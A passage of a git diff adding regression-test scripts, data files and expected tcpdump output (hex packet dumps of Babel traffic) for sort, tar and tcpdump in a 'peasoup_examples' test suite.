+-rwxrwxr-x 1 ubuntu ubuntu 7017 Apr 23  2015 test_script.sh
+
+../../fgrep/data:
+total 24
+-rw-rw-r-- 1 ubuntu ubuntu  728 Apr 23  2015 khadafy.lines
+-rw-rw-r-- 1 ubuntu ubuntu   67 Apr 23  2015 khadafy.regexp
+-rw-rw-r-- 1 ubuntu ubuntu  208 Apr 23  2015 data1.txt
+-rw-rw-r-- 1 ubuntu ubuntu 1228 Apr 23  2015 data2.txt
+-rw-rw-r-- 1 ubuntu ubuntu   38 Apr 23  2015 pattern2
+-rw-rw-r-- 1 ubuntu ubuntu    9 Apr 23  2015 pattern
diff --git a/peasoup_examples/tests/sort/data/random.txt b/peasoup_examples/tests/sort/data/random.txt
new file mode 100644
index 0000000000000000000000000000000000000000..59f38d39f4b0f2d86da15d3987070727f29b2856
--- /dev/null
+++ b/peasoup_examples/tests/sort/data/random.txt
@@ -0,0 +1,23 @@
+kljdafsl;kdjsf;lklkdjsfkl;djsfkl;jkl3;4jkl3;2j4lk321j438274098327r980x89nb09c82nc098n7rc08297rn089372cn908273c908n723c4890n237098c47238974c08273bc90n4bv098b7n5c89 r
+q7b980327b1 9898n98
+894275c98n43 wh
+95nyo34 yn 5ou4ny3ciuyn
+c43cyo5bnu3c
+cn4ycotwec tb
+rw 
+5
+t 3weryh
+etryeh4 rty 45evy
+ g
+rey
+
+ey
+e
+r t45
+6y456 y45e
+bukj
+l
+,o
+
+;
+poilkjhet rhtyj rjt
diff --git a/peasoup_examples/tests/sort/test_script.sh b/peasoup_examples/tests/sort/test_script.sh
new file mode 100755
index 0000000000000000000000000000000000000000..0ac6b3526b129354b69aca15ed0279a4d3f4a2ee
--- /dev/null
+++ b/peasoup_examples/tests/sort/test_script.sh
@@ -0,0 +1,61 @@
+#!/bin/bash
+#Everyone must point to the manual test library
+TEST_LIB=$PEASOUP_HOME/tests/manual_test_lib.sh
+
+
+#for grep, I use some data files, so I set up variables pointing to that location
+TEST_DIR=$PEASOUP_HOME/tests/sort
+DATA_DIR=$TEST_DIR/data
+
+#used for filtering program names from output.
+ORIG_NAME=sort
+
+#must import the library here, as it depends on some of the above variables
+. $TEST_LIB
+
+#run_basic_test will run both the modified program and original program using the same arguments. The first argument ot run_basic_test is the timeout value (in seconds) followed by the arguments for the programs. run_basic_test also does comparisons of stdout, stderr, and the exit status, and only does comparisons and uses timeout when the -i flag is not set. See the library for more details. 
+
+pwd
+echo "TEST_PROG: $TEST_PROG"
+
+# sanity check
+SORTED=/tmp/tmp.sorted.$(whoami)
+timeout 20 $BENCH $DATA_DIR/data.cba > $SORTED
+diff $SORTED $DATA_DIR/data.abc
+if [ ! $? -eq 0 ]; then
+	report_failure
+fi
+rm $SORTED
+
+run_basic_test 120 --help
+run_basic_test 120 --version
+run_basic_test 120 --doesnotexist
+run_basic_test 120 -d $DATA_DIR/data.txt
+run_basic_test 120 -d -b $DATA_DIR/data.txt
+run_basic_test 120 -f $DATA_DIR/data.txt
+run_basic_test 120 -g $DATA_DIR/data.txt
+run_basic_test 120 -g -i $DATA_DIR/data.txt
+run_basic_test 120 -M $DATA_DIR/data.txt
+run_basic_test 120 -h $DATA_DIR/data.txt
+run_basic_test 120 -n $DATA_DIR/data.txt
+
+# non-deterministic tests
+run_bench_prog_only 120 -R $DATA_DIR/data.txt
+run_test_prog_only 120 -R $DATA_DIR/data.txt
+compare_exit_status
+
+run_bench_prog_only 120 -R --random-source=$DATA_dir/random.txt $DATA_DIR/data.txt
+run_test_prog_only 120 -R --random-source=$DATA_dir/random.txt $DATA_DIR/data.txt
+compare_exit_status
+
+run_basic_test 120 $DATA_DIR/data.txt
+run_basic_test 120 --reverse $DATA_DIR/data.txt
+run_basic_test 120 -V $DATA_DIR/data.txt
+run_basic_test 120 -c -u $DATA_DIR/data.txt
+run_basic_test 120 -z -c -u $DATA_DIR/data.txt
+run_basic_test 120 -V --debug $DATA_DIR/data.txt
+run_basic_test 120 -V -S 512 --debug $DATA_DIR/data.txt
+
+cleanup
+
+report_success
diff --git a/peasoup_examples/tests/tar/data/dir1/dir2/readme b/peasoup_examples/tests/tar/data/dir1/dir2/readme
new file mode 100644
index 0000000000000000000000000000000000000000..8178c76d627cade75005b40711b92f4177bc6cfc
--- /dev/null
+++ b/peasoup_examples/tests/tar/data/dir1/dir2/readme
@@ -0,0 +1 @@
+readme
diff --git a/peasoup_examples/tests/tar/data/dir1/hello2 b/peasoup_examples/tests/tar/data/dir1/hello2
new file mode 100644
index 0000000000000000000000000000000000000000..14be0d41c639d701e0fe23e835b5fe9524b4459d
--- /dev/null
+++ b/peasoup_examples/tests/tar/data/dir1/hello2
@@ -0,0 +1 @@
+hello2
diff --git a/peasoup_examples/tests/tar/data/dir1/yo2.xls b/peasoup_examples/tests/tar/data/dir1/yo2.xls
new file mode 100644
index 0000000000000000000000000000000000000000..55a3a19164a73fb7b11117bebdc9ccdb203bd988
--- /dev/null
+++ b/peasoup_examples/tests/tar/data/dir1/yo2.xls
@@ -0,0 +1 @@
+23,34,45
diff --git a/peasoup_examples/tests/tar/data/hello1 b/peasoup_examples/tests/tar/data/hello1
new file mode 100644
index 0000000000000000000000000000000000000000..15b8f2a8ffc8a7789b65fdcf2505f23ea9e4dde0
--- /dev/null
+++ b/peasoup_examples/tests/tar/data/hello1
@@ -0,0 +1 @@
+hello1
diff --git a/peasoup_examples/tests/tar/data/test.tar b/peasoup_examples/tests/tar/data/test.tar
new file mode 100644
index 0000000000000000000000000000000000000000..adf61fcdebfc9c4ae606533f9a505c75b91bc02c
Binary files /dev/null and b/peasoup_examples/tests/tar/data/test.tar differ
diff --git a/peasoup_examples/tests/tar/data/yo.txt b/peasoup_examples/tests/tar/data/yo.txt
new file mode 100644
index 0000000000000000000000000000000000000000..f2d0f0d5c45102b9d2947c0edf358eb1487a1469
--- /dev/null
+++ b/peasoup_examples/tests/tar/data/yo.txt
@@ -0,0 +1 @@
+yo yo yo
diff --git a/peasoup_examples/tests/tar/test_script.sh b/peasoup_examples/tests/tar/test_script.sh
new file mode 100755
index 0000000000000000000000000000000000000000..98a249c310f52804985e2f88da8aea61f89c39fb
--- /dev/null
+++ b/peasoup_examples/tests/tar/test_script.sh
@@ -0,0 +1,36 @@
+#!/bin/bash
+#Everyone must point to the manual test library
+TEST_LIB=$PEASOUP_HOME/tests/manual_test_lib.sh
+
+
+#for grep, I use some data files, so I set up variables pointing to that location
+TEST_DIR=$PEASOUP_HOME/tests/tar
+DATA_DIR=$TEST_DIR/data
+
+#used for filtering program names from output.
+ORIG_NAME=tar
+
+#must import the library here, as it depends on some of the above variables
+. $TEST_LIB
+
+#run_basic_test will run both the modified program and original program using the same arguments. The first argument ot run_basic_test is the timeout value (in seconds) followed by the arguments for the programs. run_basic_test also does comparisons of stdout, stderr, and the exit status, and only does comparisons and uses timeout when the -i flag is not set. See the library for more details. 
+
+pwd
+echo "TEST_PROG: $TEST_PROG"
+
+run_basic_test 120 --help
+run_basic_test 120 --version
+run_basic_test 120 --doesnotexist
+run_basic_test 120 -cvf $DATA_DIR.tar $DATA_DIR
+run_basic_test 120 -tvf $DATA_DIR/test.tar $DATA_DIR
+
+# sanity check tar functionality
+timeout 10 $BENCH -tf $DATA_DIR.tar | grep dir1
+if [ ! $? -eq 0 ];then 
+	report_failure
+fi
+
+rm $DATA_DIR.tar
+cleanup
+
+report_success
diff --git a/peasoup_examples/tests/tcpdump/gen_test.sh b/peasoup_examples/tests/tcpdump/gen_test.sh
new file mode 100755
index 0000000000000000000000000000000000000000..ee5faec04cda4a3cc831fe0ae537b41247856cf5
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/gen_test.sh
@@ -0,0 +1,38 @@
+#!/bin/bash 
+TEST_LIB=$PEASOUP_HOME/tests/manual_test_lib.sh
+
+#used for filtering program names from output.
+ORIG_NAME=zsh
+
+#must import the library here, as it depends on some of the above variables
+. $TEST_LIB
+
+TEST_DIR=$PEASOUP_HOME/tests/tcpdump
+
+
+
+# print help and version 
+echo 'run_basic_test 20 -h'
+
+echo 'run_basic_test 20  -t -n -v -v -v -r $TEST_DIR/tcpd_tests/lmp.pcap '
+
+for i in x xx X XX A AA; do
+        echo 'run_basic_test 20 -$i -s0 -nr $TEST_DIR/tcpd_tests/print-flags.pcap'
+done
+
+
+
+# now run typical tests
+cat $TEST_DIR/tcpd_tests/TESTLIST | while read name input output options
+do
+  case $name in
+      \#*) continue;;
+      '') continue;;
+  esac
+
+  echo 'run_basic_test 20 -n -r $TEST_DIR/tcpd_tests/'$input $options
+
+done
+
+
+report_success
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/.failed b/peasoup_examples/tests/tcpdump/tcpd_tests/.failed
new file mode 100644
index 0000000000000000000000000000000000000000..b6a7d89c68e0ca66e96a9a51892cc33db66fb8a3
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/.failed
@@ -0,0 +1 @@
+16
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/.passed b/peasoup_examples/tests/tcpdump/tcpd_tests/.passed
new file mode 100644
index 0000000000000000000000000000000000000000..e85087affded170efcbc6f9672a6fc671d839ed0
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/.passed
@@ -0,0 +1 @@
+31
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/02-sunrise-sunset-esp.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/02-sunrise-sunset-esp.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..e52af9888c73487889c94e88d550c8674de70c8e
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/02-sunrise-sunset-esp.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/08-sunrise-sunset-aes.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/08-sunrise-sunset-aes.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..1ebe3deac5a7d44910e5ec73b0b5b651e088b3ec
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/08-sunrise-sunset-aes.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/08-sunrise-sunset-esp2.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/08-sunrise-sunset-esp2.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..c3e54cbe917a60c9e8f3c28c06941f88c54ec84b
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/08-sunrise-sunset-esp2.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/babel1.out.diff b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/babel1.out.diff
new file mode 100644
index 0000000000000000000000000000000000000000..471b11c397c7d86ba2e1708944156bfcc19159ae
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/babel1.out.diff
@@ -0,0 +1,218 @@
+1,191c1,25
+<  In ethertype IPv6 (0x86dd), length 76: 
+< 	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 0d90  .........).)....
+< 	0x0030:  2a02 0008 0406 0000 1f6a 07d0            *........j..
+< Out ethertype IPv6 (0x86dd), length 76: 
+< 	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 3f31  .........).)..?1
+< 	0x0030:  2a02 0008 0406 0000 9ca6 07d0            *...........
+<  In ethertype IPv6 (0x86dd), length 178: 
+< 	0x0000:  6000 0000 007a 1101 fe80 0000 0000 0000  `....z..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 007a 6dff  .........).).zm.
+< 	0x0030:  2a02 006e 081d 02c0 8000 1f40 7e10 0001  *..n.......@~...
+< 	0x0040:  2001 0660 3301 8063 0218 84ff fe1a 615d  ...`3..c......a]
+< 	0x0050:  0201 0607 0601 00c0 a804 1908 1101 0020  ................
+< 	0x0060:  001f 407e 1000 01c0 a804 c302 0106 0812  ..@~............
+< 	0x0070:  02c0 800a 1f40 9cd5 0000 f3ff fea9 914e  .....@.........N
+< 	0x0080:  0200 080c 0200 0000 1f40 9cd5 00c4 0200  .........@......
+< 	0x0090:  0810 0100 2000 1f40 9cd5 0000 c0a8 0419  .......@........
+< 	0x00a0:  0200                                     ..
+<  In ethertype IPv6 (0x86dd), length 92: 
+< 	0x0000:  6000 0000 0024 1101 fe80 0000 0000 0000  `....$..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0024 314f  .........).).$1O
+< 	0x0030:  2a02 0018 0406 0000 1f6b 07d0 050e 0300  *........k......
+< 	0x0040:  0060 1770 3428 af91 0251 d626            .`.p4(...Q.&
+< Out ethertype IPv6 (0x86dd), length 76: 
+< 	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 3f30  .........).)..?0
+< 	0x0030:  2a02 0008 0406 0000 9ca7 07d0            *...........
+<  In ethertype IPv6 (0x86dd), length 76: 
+< 	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 0d8e  .........).)....
+< 	0x0030:  2a02 0008 0406 0000 1f6c 07d0            *........l..
+< Out ethertype IPv6 (0x86dd), length 92: 
+< 	0x0000:  6000 0000 0024 1101 fe80 0000 0000 0000  `....$..........
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0024 b411  .........).).$..
+< 	0x0030:  2a02 0018 0406 0000 9ca8 07d0 050e 0300  *...............
+< 	0x0040:  0060 1770 68d3 1235 d068 1f9e            .`.ph..5.h..
+<  In ethertype IPv6 (0x86dd), length 76: 
+< 	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 0d8d  .........).)....
+< 	0x0030:  2a02 0008 0406 0000 1f6d 07d0            *........m..
+< Out ethertype IPv6 (0x86dd), length 76: 
+< 	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 3f2e  .........).)..?.
+< 	0x0030:  2a02 0008 0406 0000 9ca9 07d0            *...........
+<  In ethertype IPv6 (0x86dd), length 120: 
+< 	0x0000:  6000 0000 0040 1101 fe80 0000 0000 0000  `....@..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0040 0425  .........).).@.%
+< 	0x0030:  2a02 0034 081a 02c0 8000 1f40 9cd5 ffff  *..4.......@....
+< 	0x0040:  2001 0660 3301 8063 0218 f3ff fea9 914e  ...`3..c.......N
+< 	0x0050:  080a 0280 8010 1f40 9cd5 ffff 080a 0280  .......@........
+< 	0x0060:  8010 1f40 9cd5 ffff                      ...@....
+< Out ethertype IPv6 (0x86dd), length 100: 
+< 	0x0000:  6000 0000 002c 1101 fe80 0000 0000 0000  `....,..........
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 002c d909  .........).).,..
+< 	0x0030:  2a02 0020 0a1e 0280 9cd6 7f00 0218 f3ff  *...............
+< 	0x0040:  fea9 914e 2001 0660 3301 8063 0218 f3ff  ...N...`3..c....
+< 	0x0050:  fea9 914e                                ...N
+<  In ethertype IPv6 (0x86dd), length 106: 
+< 	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 4d5c  ......SY.....2M\
+< 	0x0030:  2b01 0101 de3e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+< 	0x0040:  ffff ffff ffff ffff 0000 000e 0204 4d9e  ..............M.
+< 	0x0050:  145b 0304 0000 0eb8 0600                 .[........
+<  In ethertype IPv6 (0x86dd), length 106: 
+< 	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 4b65  ......SY.....2Ke
+< 	0x0030:  2b01 0202 df3e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+< 	0x0040:  ffff ffff ffff ffff 0000 000e 0204 4d9e  ..............M.
+< 	0x0050:  145c 0304 0000 0ead 0600                 .\........
+< Out ethertype IPv6 (0x86dd), length 244: 
+< 	0x0000:  6000 0000 00bc 1140 fe80 0000 0000 0000  `......@........
+< 	0x0010:  3428 af91 0251 d626 fe80 0000 0000 0000  4(...Q.&........
+< 	0x0020:  68d3 1235 d068 1f9e 14ef 14ef 00bc e775  h..5.h.........u
+< 	0x0030:  2b01 0101 c9b8 3d0d 7940 147f b66d c329  +.....=.y@...m.)
+< 	0x0040:  0218 f3ff fea9 914e 0100 0098 0204 4d9e  .......N......M.
+< 	0x0050:  145c 0103 0400 000f 2009 0400 0000 0006  .\..............
+< 	0x0060:  1120 0106 6033 0180 6300 0000 0000 0000  ....`3..c.......
+< 	0x0070:  0040 0c30 2001 0660 3301 8063 0000 0000  .@.0...`3..c....
+< 	0x0080:  0000 0001 0000 0000 0000 0000 0000 ffff  ................
+< 	0x0090:  c0a8 0401 0000 0000 0000 0000 0000 ffff  ................
+< 	0x00a0:  869d a879 0d30 2001 0660 3301 8063 0000  ...y.0...`3..c..
+< 	0x00b0:  0000 0000 0001 0000 0000 0000 0000 0000  ................
+< 	0x00c0:  ffff 869d a879 2001 0660 3301 8063 0218  .....y...`3..c..
+< 	0x00d0:  f3ff fea9 914e 050c c0a8 0414 c0a8 0414  .....N..........
+< 	0x00e0:  c0a8 0414                                ....
+<  In ethertype IPv6 (0x86dd), length 106: 
+< 	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 41fd  ......SY.....2A.
+< 	0x0030:  2b01 0101 e03e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+< 	0x0040:  7940 147f b66d c329 0200 000e 0204 4d9e  y@...m.)......M.
+< 	0x0050:  145c 0304 0000 0ebf 0600                 .\........
+< Out ethertype IPv6 (0x86dd), length 106: 
+< 	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 fb42  ......SY.....2.B
+< 	0x0030:  2b01 0102 df3e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+< 	0x0040:  ffff ffff ffff ffff 0000 000e 0204 4d9e  ..............M.
+< 	0x0050:  145c 0304 0000 0ead 0600                 .\........
+<  In ethertype IPv6 (0x86dd), length 96: 
+< 	0x0000:  6000 0000 0028 1101 fe80 0000 0000 0000  `....(..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0028 91cd  .........).).(..
+< 	0x0030:  2a02 001c 081a 02c0 8000 1f40 9cd5 ffff  *..........@....
+< 	0x0040:  2001 0660 3301 8063 0218 f3ff fea9 914e  ...`3..c.......N
+< Out ethertype IPv6 (0x86dd), length 100: 
+< 	0x0000:  6000 0000 002c 1101 fe80 0000 0000 0000  `....,..........
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 002c d909  .........).).,..
+< 	0x0030:  2a02 0020 0a1e 0280 9cd6 7f00 0218 f3ff  *...............
+< 	0x0040:  fea9 914e 2001 0660 3301 8063 0218 f3ff  ...N...`3..c....
+< 	0x0050:  fea9 914e                                ...N
+< Out ethertype IPv6 (0x86dd), length 244: 
+< 	0x0000:  6000 0000 00bc 1140 fe80 0000 0000 0000  `......@........
+< 	0x0010:  3428 af91 0251 d626 fe80 0000 0000 0000  4(...Q.&........
+< 	0x0020:  68d3 1235 d068 1f9e 14ef 14ef 00bc f573  h..5.h.........s
+< 	0x0030:  2b01 0202 cab8 3d0d 7940 147f b66d c329  +.....=.y@...m.)
+< 	0x0040:  0218 f3ff fea9 914e 0100 0098 0204 4d9e  .......N......M.
+< 	0x0050:  145d 0103 0400 000f 1009 0400 0000 0006  .]..............
+< 	0x0060:  1120 0106 6033 0180 6300 0000 0000 0000  ....`3..c.......
+< 	0x0070:  0040 0c30 2001 0660 3301 8063 0000 0000  .@.0...`3..c....
+< 	0x0080:  0000 0001 0000 0000 0000 0000 0000 ffff  ................
+< 	0x0090:  c0a8 0401 0000 0000 0000 0000 0000 ffff  ................
+< 	0x00a0:  869d a879 0d30 2001 0660 3301 8063 0000  ...y.0...`3..c..
+< 	0x00b0:  0000 0000 0001 0000 0000 0000 0000 0000  ................
+< 	0x00c0:  ffff 869d a879 2001 0660 3301 8063 0218  .....y...`3..c..
+< 	0x00d0:  f3ff fea9 914e 050c c0a8 0414 c0a8 0414  .....N..........
+< 	0x00e0:  c0a8 0414                                ....
+<  In ethertype IPv6 (0x86dd), length 106: 
+< 	0x0000:  6000 0000 0032 1101 fe80 0000 0000 0000  `....2..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  cca6 c0f9 e182 5359 14ef 14ef 0032 4104  ......SY.....2A.
+< 	0x0030:  2b01 0101 e13e 5127 0218 f3ff fea9 914e  +....>Q'.......N
+< 	0x0040:  7940 147f b66d c329 0200 000e 0204 4d9e  y@...m.)......M.
+< 	0x0050:  145e 0304 0000 0eb6 0600                 .^........
+<  In ethertype IPv6 (0x86dd), length 92: 
+< 	0x0000:  6000 0000 0024 1101 fe80 0000 0000 0000  `....$..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0024 314c  .........).).$1L
+< 	0x0030:  2a02 0018 0406 0000 1f6e 07d0 050e 0300  *........n......
+< 	0x0040:  0060 1770 3428 af91 0251 d626            .`.p4(...Q.&
+<  In ethertype IPv6 (0x86dd), length 96: 
+< 	0x0000:  6000 0000 0028 1101 fe80 0000 0000 0000  `....(..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0028 91cd  .........).).(..
+< 	0x0030:  2a02 001c 081a 02c0 8000 1f40 9cd5 ffff  *..........@....
+< 	0x0040:  2001 0660 3301 8063 0218 f3ff fea9 914e  ...`3..c.......N
+< Out ethertype IPv6 (0x86dd), length 100: 
+< 	0x0000:  6000 0000 002c 1101 fe80 0000 0000 0000  `....,..........
+< 	0x0010:  3428 af91 0251 d626 ff02 0000 0000 0000  4(...Q.&........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 002c d909  .........).).,..
+< 	0x0030:  2a02 0020 0a1e 0280 9cd6 7f00 0218 f3ff  *...............
+< 	0x0040:  fea9 914e 2001 0660 3301 8063 0218 f3ff  ...N...`3..c....
+< 	0x0050:  fea9 914e                                ...N
+< Out ethertype IPv6 (0x86dd), length 244: 
+< 	0x0000:  6000 0000 00bc 1140 fe80 0000 0000 0000  `......@........
+< 	0x0010:  3428 af91 0251 d626 fe80 0000 0000 0000  4(...Q.&........
+< 	0x0020:  68d3 1235 d068 1f9e 14ef 14ef 00bc e572  h..5.h.........r
+< 	0x0030:  2b01 0101 cbb8 3d0d 7940 147f b66d c329  +.....=.y@...m.)
+< 	0x0040:  0218 f3ff fea9 914e 0300 0098 0204 4d9e  .......N......M.
+< 	0x0050:  145f 0103 0400 000f 1e09 0400 0000 0006  ._..............
+< 	0x0060:  1120 0106 6033 0180 6300 0000 0000 0000  ....`3..c.......
+< 	0x0070:  0040 0c30 2001 0660 3301 8063 0000 0000  .@.0...`3..c....
+< 	0x0080:  0000 0001 0000 0000 0000 0000 0000 ffff  ................
+< 	0x0090:  c0a8 0401 0000 0000 0000 0000 0000 ffff  ................
+< 	0x00a0:  869d a879 0d30 2001 0660 3301 8063 0000  ...y.0...`3..c..
+< 	0x00b0:  0000 0000 0001 0000 0000 0000 0000 0000  ................
+< 	0x00c0:  ffff 869d a879 2001 0660 3301 8063 0218  .....y...`3..c..
+< 	0x00d0:  f3ff fea9 914e 050c c0a8 0414 c0a8 0414  .....N..........
+< 	0x00e0:  c0a8 0414                                ....
+<  In ethertype IPv6 (0x86dd), length 112: 
+< 	0x0000:  6000 0000 0038 0001 fe80 0000 0000 0000  `....8..........
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0000 0016 3a00 0502 0000 0100  ........:.......
+< 	0x0030:  8f00 3f60 0000 0002 0400 0000 ff02 0000  ..?`............
+< 	0x0040:  0000 0000 0000 0000 0001 0006 0400 0000  ................
+< 	0x0050:  ff02 0000 0000 0000 cca6 c0f9 e182 5359  ..............SY
+---
+> IP6 fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: babel 2 (8) hello
+> IP6 fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: babel 2 (8) hello
+> IP6 fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: babel 2 (110) update/prefix/id nh update update/prefix/id update update
+> IP6 fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: babel 2 (24) hello ihu
+> IP6 fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: babel 2 (8) hello
+> IP6 fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: babel 2 (8) hello
+> IP6 fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: babel 2 (24) hello ihu
+> IP6 fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: babel 2 (8) hello
+> IP6 fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: babel 2 (8) hello
+> IP6 fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: babel 2 (52) update/prefix/id update/prefix update/prefix
+> IP6 fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: babel 2 (32) mh-request
+> IP6 fe80::68d3:1235:d068:1f9e.5359 > ff02::cca6:c0f9:e182:5359.5359: UDP, length 42
+> IP6 fe80::68d3:1235:d068:1f9e.5359 > ff02::cca6:c0f9:e182:5359.5359: UDP, length 42
+> IP6 fe80::3428:af91:251:d626.5359 > fe80::68d3:1235:d068:1f9e.5359: UDP, length 180
+> IP6 fe80::68d3:1235:d068:1f9e.5359 > ff02::cca6:c0f9:e182:5359.5359: UDP, length 42
+> IP6 fe80::3428:af91:251:d626.5359 > ff02::cca6:c0f9:e182:5359.5359: UDP, length 42
+> IP6 fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: babel 2 (28) update/prefix/id
+> IP6 fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: babel 2 (32) mh-request
+> IP6 fe80::3428:af91:251:d626.5359 > fe80::68d3:1235:d068:1f9e.5359: UDP, length 180
+> IP6 fe80::68d3:1235:d068:1f9e.5359 > ff02::cca6:c0f9:e182:5359.5359: UDP, length 42
+> IP6 fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: babel 2 (24) hello ihu
+> IP6 fe80::68d3:1235:d068:1f9e.6697 > ff02::1:6.6697: babel 2 (28) update/prefix/id
+> IP6 fe80::3428:af91:251:d626.6697 > ff02::1:6.6697: babel 2 (32) mh-request
+> IP6 fe80::3428:af91:251:d626.5359 > fe80::68d3:1235:d068:1f9e.5359: UDP, length 180
+> IP6 fe80::68d3:1235:d068:1f9e > ff02::16: HBH ICMP6, multicast listener report v2, 2 group record(s), length 48
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/babel1v.out.diff b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/babel1v.out.diff
new file mode 100644
index 0000000000000000000000000000000000000000..ee57c3eab7c80169daca6f33700b642ee3477637
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/DIFF/babel1v.out.diff
@@ -0,0 +1,244 @@
+1,191c1,51
+<  In ethertype IPv6 (0x86dd), length 76: 
+< 	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
+< 	0x0010:  68d3 1235 d068 1f9e ff02 0000 0000 0000  h..5.h..........
+< 	0x0020:  0000 0000 0001 0006 1a29 1a29 0014 0d90  .........).)....
+< 	0x0030:  2a02 0008 0406 0000 1f6a 07d0            *........j..
+< Out ethertype IPv6 (0x86dd), length 76: 
+< 	0x0000:  6000 0000 0014 1101 fe80 0000 0000 0000  `...............
